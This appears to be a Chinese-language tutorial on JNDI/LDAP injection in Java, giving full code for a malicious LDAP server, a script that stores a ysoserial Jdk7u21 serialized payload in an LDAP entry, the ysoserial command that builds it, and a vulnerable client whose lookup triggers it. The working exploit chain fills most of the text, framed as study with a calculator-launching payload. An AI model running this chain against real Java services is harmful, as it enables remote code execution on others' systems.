这节引入了 LDAP服务。通过JNDI (Java Naming and Directory Interface) 来lookup LDAP服务,造成加载远程类。
恶意的LDAP服务
创建一个LDAP服务:
com.hans.ldapServer.LDAPRefServer
package com.hans.ldapServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
向LDAP服务注入恶意Object:
package com.hans.ldapServer.LDAPServer1
package com.hans.ldapServer;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.ModificationItem;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Hashtable;
public class LDAPServer1 {
public static void main(String[] args) throws NamingException, IOException {
System.out.println("Working Directory = " +
System.getProperty("user.dir"));
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
// 暂时没用上
String javaCodebase = "http://127.0.0.1:8000/";
byte[] javaSerializedData = Files.readAllBytes(new File("resources/Jdk7u21_calc.ser").toPath());
BasicAttribute mod1 = new
BasicAttribute("javaCodebase", javaCodebase);
BasicAttribute mod2 = new
BasicAttribute("javaClassName", "DeserPayload");
BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
javaSerializedData);
ModificationItem[] mods = new ModificationItem[3];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
}
}
ysoserial生成一个payload,放到resources目录下:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser
受感染的 Service
com.hans.weblogicLdapExploit.Payload
package com.hans.weblogicLdapExploit;
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class Payload {
public final static String JNDI_FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
public final static String url = "ldap://localhost:1389";
public static void main(String[] args) throws Exception {
/*
原子名是一个简单、基本、不可分割的组成部分
绑定是名称与对象的关联,每个绑定都有一个不同的原子名
复合名包含零个或多个原子名,即由多个绑定组成
上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名
命名系统是一组关联的上下文
名称空间是命名系统中包含的所有名称
探索名称空间的起点称为初始上下文
要获取初始上下文,需要使用初始上下文工厂
* */
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
DirContext ctx = new InitialDirContext(env);
Object local_obj = ctx.lookup("uid=hans,ou=employees,dc=example,dc=com");
}
}
为了触发漏洞,这个受感染的Service必须要用JDK7U21及其以下版本的JDK。
除了LDAP,这些对象还可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA)或域名服务(DNS)。
360最近正好有研究CORBA :
https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558